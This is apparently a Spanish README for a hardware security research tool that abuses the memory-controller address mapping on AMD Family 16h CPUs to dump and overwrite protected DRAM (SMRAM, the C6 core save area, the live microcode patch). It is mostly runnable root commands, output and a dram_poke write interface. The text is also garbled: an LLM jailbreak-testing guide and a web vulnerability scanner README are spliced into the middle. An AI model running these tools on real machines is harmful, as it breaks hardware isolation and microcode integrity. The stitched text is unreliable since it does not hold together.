SMI handler proper

Esas instrucciones se ejecutan en el anillo -2, el contexto más privilegiado de la CPU,
en una memoria que el chipset debería hacer ilegible. El SMRAM "bloqueado"
resulta ser una sugerencia cortés cuando podemos hablar directamente con el
controlador de DRAM.

Sustituye `2x4gb` por el prefijo en `data/maps/` que coincida con tus
DIMMs instalados (`sudo dmidecode -t memory`). Si tu topología no está ahí, ejecuta
`analysis/gather_aliases.py` y luego `analysis/unspaghettify.py` para generar
la tuya propia.

---

## Inicio rápido: desbloquear la DRAM de C6

> *No tengo ni idea de qué hay aquí y nunca lo he visto discutido, probablemente
> registros internos de la CPU. Diviértete.*

Cuando los núcleos entran en power-gate a C6, el contexto arquitectónico x86 completo de cada uno
se guarda aquí para su restauración.```sh
./userspace/platform_check || exit 1

# Resolve the C6 stash — sets CC6_BASE / CC6_SIZE (0x7f000000 / 0x800000 on the
# test box). Each idle core's state lives in a 16 KiB save area; four cores
# here, at CC6_BASE + {0, 0x4000, 0x8000, 0xc000}.
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin

# For example, on this platform IA32_APIC_BASE sits at +0x9b8 in each area.
# Read it from all four cores straight out of the stash:
for c in 0 1 2 3; do
    printf 'core %d  ' $c
    hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done

🎯 Objetivos de la Evaluación

ObjetivoDescripciónMétrica de Éxito
Detección de Prompt InjectionIdentificar intentos de manipulación de instrucciones>95% de precisión de detección
Prevención de Fuga de DatosBloquear la exposición no autorizada de información0% de fuga de datos sensibles
Resistencia a JailbreakResistir intentos de eludir restricciones>90% de tasa de bloqueo
Manejo de Entrada AdversariaProcesar entradas maliciosas de forma segura<1% de tasa de falsos positivos
Mantenimiento de UtilidadPreservar la funcionalidad legítima>98% de disponibilidad del servicio

🔄 Flujo de Trabajo de la Evaluación

graph TD
    A[Inicio de la Evaluación] --> B[Cargar Conjunto de Datos de Ataque]
    B --> C[Inicializar Objetivo]
    C --> D[Ejecutar Caso de Prueba]
    D --> E{¿Ataque Exitoso?}
    E -->|Sí| F[Registrar Vulnerabilidad]
    E -->|No| G[Registrar Defensa]
    F --> H[Generar Reporte]
    G --> H
    H --> I[Calcular Puntuaciones]
    I --> J[Fin de la Evaluación]

📈 Interpretación de Resultados

Puntuaciones de Evaluación

PuntuaciónNivel de RiesgoAcción Recomendada
90-100ExcelenteMantener las defensas actuales
70-89BuenoMonitorear y mejorar áreas específicas
50-69ModeradoImplementar defensas adicionales
30-49AltoRemediación inmediata requerida
0-29CríticoDespliegue de emergencia necesario

Métricas Clave

  • Tasa de Éxito de Ataque (ASR): Porcentaje de ataques que eluden las defensas
  • Tasa de Falsos Positivos (FPR): Porcentaje de entradas legítimas bloqueadas incorrectamente
  • Tasa de Falsos Negativos (FNR): Porcentaje de ataques no detectados
  • Latencia de Detección: Tiempo para identificar y bloquear amenazas
  • Impacto en el Rendimiento: Degradación de la velocidad de respuesta debido a las defensas

🛠️ Herramientas y Frameworks

Frameworks de Evaluación

FrameworkDescripciónEnlace
GarakEscáner de vulnerabilidades LLMGitHub
PyRITHerramienta de identificación de riesgos de IAGitHub
PromptInjectFramework de evaluación de inyección de promptsGitHub
LLM GuardKit de herramientas de seguridad LLMGitHub

Conjuntos de Datos de Ataque

  • AdvBench: Benchmark de comportamiento adversario
  • HarmBench: Benchmark de evaluación de daños
  • JailbreakBench: Colección de prompts de jailbreak
  • Prompt Injection Dataset: Conjunto de datos de inyección de prompts curado

📚 Mejores Prácticas

Antes de la Evaluación

  1. Definir el Alcance: Identificar claramente los componentes del sistema a evaluar
  2. Establecer una Línea Base: Medir el rendimiento actual sin defensas
  3. Preparar Conjuntos de Datos: Recopilar y curar casos de prueba relevantes
  4. Configurar el Entorno: Asegurar un entorno de pruebas aislado
  5. Documentar Suposiciones: Registrar todas las suposiciones y limitaciones

Durante la Evaluación

  1. Monitorear el Progreso: Rastrear métricas en tiempo real
  2. Registrar Todo: Capturar entradas, salidas y decisiones de defensa
  3. Probar Casos Extremos: Incluir escenarios inusuales y límite
  4. Iterar Según Sea Necesario: Ajustar los casos de prueba según los hallazgos
  5. Mantener el Aislamiento: Evitar afectar los sistemas de producción

Después de la Evaluación

  1. Analizar Resultados: Identificar patrones y vulnerabilidades
  2. Priorizar Hallazgos: Enfocarse en los problemas de mayor riesgo
  3. Implementar Correcciones: Abordar las vulnerabilidades identificadas
  4. Reevaluar: Verificar que las correcciones sean efectivas
  5. Documentar Lecciones Aprendidas: Compartir conocimientos con el equipo```text core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 enabled, BSP bit set core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 application processor
Un núcleo con el bit BSP activado, tres sin él — el procesador de arranque y sus tres
APs, sorprendidos en reposo con su estado de registros a la vista.

Cuanto más indagas, más registros de CPU empiezas a encontrar:

| offset | estado x86 | valor del núcleo 0 |
|---|---|---|
| `+0x8b0` | GS / base por CPU | `0xffff9be4e3600000` |
| `+0x9a0` | CR3 (raíz de la tabla de páginas) | `0x0fd46000` |
| `+0x9b8` | IA32_APIC_BASE | `0xfee00900` |
| `+0xa38` | MTRR variable (base/máscara) | `0x6f000000 / …0800` |
| `+0xb10` | RIP guardado | `0xffffffff8f3a0029` |

Por supuesto, esos registros son accesibles desde ring-0 de todos modos. La
parte *divertida* está en todo el *otro* estado de CPU que reside ahí — hurgando en los registros
internos de la CPU que ring-0 no puede alcanzar.

---

## Inicio rápido: desbloquea el microcódigo de tu CPU

> *¿Qué podría salir mal?*

Cuando un núcleo entra en C6, su RAM de parches de microcódigo — SRAM volátil — se apaga junto con
el resto del núcleo. Así que el alijo de C6 mantiene el parche cargado en DRAM y lo vuelve a sembrar
al despertar. Esa copia reside en `+0x1800` en cada área de guardado, y el alias la alcanza
como cualquier otro byte.

Toma la copia del microcódigo que la CPU guardó en la DRAM cercada:```sh
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"

# page 1 of core 0's save area is the live microcode patch body
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
    $(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin

Compáralo con los parches conocidos:```sh

did we find it?

python3 - <<'EOF' ram = open("ucode_ram.bin", "rb").read() chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12] for fam in (15, 16, 17, 19): uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read() print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match") EOF

Esta es una buena señal:```text
fam15h:  0/94 chunks match
fam16h: 68/94 chunks match     <- the microcode the core is running
fam17h:  0/94 chunks match
fam19h:  0/94 chunks match

Extrae las tríadas de ucode:```sh od -Ax -tx1 -w20 ucode_ram.bin

## 🧪 Ejemplos de uso

### Ejemplo 1: Escaneo básico de un objetivo

```bash
python3 vuln-scanner.py -t https://example.com

Salida:

[*] Escaneando https://example.com...
[+] Servidor: nginx/1.18.0
[+] Tecnologías detectadas: PHP, jQuery, Bootstrap
[!] Vulnerabilidad encontrada: XSS reflejado en el parámetro 'search'
[!] Vulnerabilidad encontrada: Divulgación de información en /.git/config
[*] Escaneo completado. Se encontraron 2 vulnerabilidades.

Ejemplo 2: Escaneo con autenticación

python3 vuln-scanner.py -t https://example.com -u admin -p password123 --cookie "session=abc123"

Ejemplo 3: Escaneo de múltiples objetivos

python3 vuln-scanner.py -f targets.txt --threads 10 --output results.json

Ejemplo 4: Escaneo de API

python3 vuln-scanner.py -t https://api.example.com --api-scan --swagger /swagger.json

📊 Formato de salida

El escáner admite múltiples formatos de salida:

FormatoBanderaDescripción
Texto--output results.txtSalida de texto legible por humanos
JSON--output results.jsonSalida JSON estructurada
HTML--output results.htmlInforme HTML con estilo
CSV--output results.csvFormato de valores separados por comas

🔧 Opciones de configuración

El archivo de configuración config.yaml permite personalizar el comportamiento del escáner:

scanner:
  timeout: 30
  threads: 5
  user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  follow_redirects: true
  verify_ssl: false

modules:
  xss:
    enabled: true
    payloads: "payloads/xss.txt"
  sqli:
    enabled: true
    payloads: "payloads/sqli.txt"
  lfi:
    enabled: true
    payloads: "payloads/lfi.txt"

reporting:
  format: "json"
  output_dir: "./reports"
  include_evidence: true

🛡️ Módulos de escaneo

Detección de XSS

El módulo XSS prueba parámetros de entrada con múltiples cargas útiles para detectar vulnerabilidades de cross-site scripting reflejado y almacenado.

Detección de SQL Injection

El módulo SQLi utiliza técnicas basadas en errores, booleanas y basadas en tiempo para identificar puntos de inyección SQL.

Detección de LFI

El módulo LFI intenta incluir archivos locales sensibles a través de parámetros vulnerables.

Detección de SSRF

El módulo SSRF prueba parámetros que aceptan URLs para detectar vulnerabilidades de server-side request forgery.

Divulgación de información

Este módulo busca archivos y directorios sensibles expuestos, como .git, .env, backup.sql y otros.```text 000000 c1 df db eb 28 ac 06 00 f5 ff ff 00 e1 1d 0a f9 ff ef ff 2a 000014 e0 8f 2a c7 ff bf 07 00 ff ff bf 2a e0 1f e0 e7 78 df 7d c0 000028 ff ff cf bf 4c 20 06 00 cf 53 39 00 c0 df db eb fe ff ff 27 [...] 000370 e1 1f c0 bf ff bf 07 00 ff 81 7f 00 e1 1f c0 bf ff 81 7f 00 * 0005f0

Y ahí está, uops distintos arriba, relleno NOP repitiéndose abajo.

A partir de ahí, `dram_dump` tiene una herramienta hermana, `dram_poke`. El mismo alias que leyó el parche puede escribirlo — y esta copia es la que el núcleo recarga al salir del estado inactivo.

Lo que hagas a continuación depende de tu imaginación.

---

## Build```
make        # builds kernel/spaghettify.ko and all userspace tools
make clean

Uso

Ejecutar como root. Detalles completos en USAGE.md.

dram_read

Lectura simple desde una dirección de memoria protegida.

Introduce los cambios --do-swizzle / --do-bankswap en el controlador DRAM para entrar en la vista de memoria espaguetizada, lee un dword desde la dirección física <pa>, restaura los bits del DCT y devuelve el valor.``` dram_read --pa --do-swizzle <0|1> --do-bankswap <0|1>

### `dram_poke`

Escribe en un rango de memoria protegido.

Cada `--map` es una spaghettification resuelta de `unspaghettify.py --save-map`,
alimentada a su vez por pares de alias recopilados por `gather_aliases.py`; el alias para cada
dword en el rango protegido se recupera del mapa mediante una pseudo-inversa de GF(2)
calculada una vez al inicio. Pasa múltiples mapas — uno por
`(at_swizzle, at_bankswap)` recopilado en el mismo hardware — para ampliar la cobertura,
ya que cada spaghettification deja un conjunto diferente de huecos de rango deficiente y
el primer mapa que alcanza un dword dado gana.```
dram_poke
    [--dangerously-skip-calibration]
    [--calibrate-pa <hex>]
    [--strict-holes]
    [--no-verify]
    [--ignore-fw-mismatch]
    [--fenced-range <lo>,<hi>]
    [--allow-fenced-alias]
    -s, --protected-pa <pa>
    -l, --length <n>
    --map <file> [--map <file>]...
    < in.bin

dram_dump

Lee desde un rango de memoria protegido.

La misma maquinaria de --map que dram_poke: cada mapa es una espaguetificación resuelta desde unspaghettify.py --save-map, el alias de cada dword se recupera mediante una pseudo-inversa GF(2) de un solo paso, y múltiples mapas recopilados en diferentes (at_swizzle, at_bankswap) amplían la cobertura donde los huecos de rango deficiente de un mapa son rellenados por los de otro.``` dram_dump [--dangerously-skip-calibration] [--calibrate-pa ] [--dry-run] [--ignore-fw-mismatch] [--fenced-range ,] [--allow-fenced-alias] -s, --protected-pa -l, --length --map [--map ]...

La cadena de herramientas completa — `dram_state`, `dram_carveouts` y `dram_alias`; el pipeline de análisis `gather_aliases.py` / `unspaghettify.py`; ejemplos completos de extremo a extremo; y las tripas — está documentada en **[USAGE.md](https://github.com/xoreaxeaxeax/skitter-creek-bath-salts/blob/main/USAGE.md)**.

---

## El pipeline compartido

`skitter-creek-bath-salts` explora cómo las etapas finales de las transformaciones MCT/DCT pueden derribar la seguridad de todo lo construido por encima. El exploit demostrado aquí es un registro de configuración en AMD Family 16h, elegido porque las hojas de datos daban lo suficiente para empezar. El *pipeline* que rompió está en todas partes.

Entrelazado de canales, entrelazado de ranks, entrelazado de bancos, swizzle, normalización de chip-select — todo controlador de memoria moderno hace alguna versión de todo esto. AMD. Intel. ARM. RISC-V. Móvil. Servidor. Embebido. La misma forma arquitectónica subyace bajo todo.

*Por encima* de todo ello se asientan SEV, SGX, TDX, TrustZone, los realms de CCA, pKVM, CoVE, SEP, el PSP, ME, T-SEG, SMRAM, el stash de C6. Todo lo que reside en DRAM — incluso lo amurallado e invisible para ring-0 o para la propia CPU — descansa sobre las capas finales de un pipeline `*p` que apenas hemos empezado a explorar.

---

## Referencias

* Black Hat 2026 — Spaghettifying DRAM (Próximamente)

---

## Autor

`skitter-creek-bath-salts` es un esfuerzo de investigación de Christopher Domas ([@xoreaxeaxeax](https://x.com/xoreaxeaxeax/))

---

![Experiment](https://assets.kitploit.com/production/public/readmes/50084/e0d23a5801481c1c13057e8e0a1b4bdd3875a6c36140ea37f577cfa5801ec982.jpg)

---

Categorías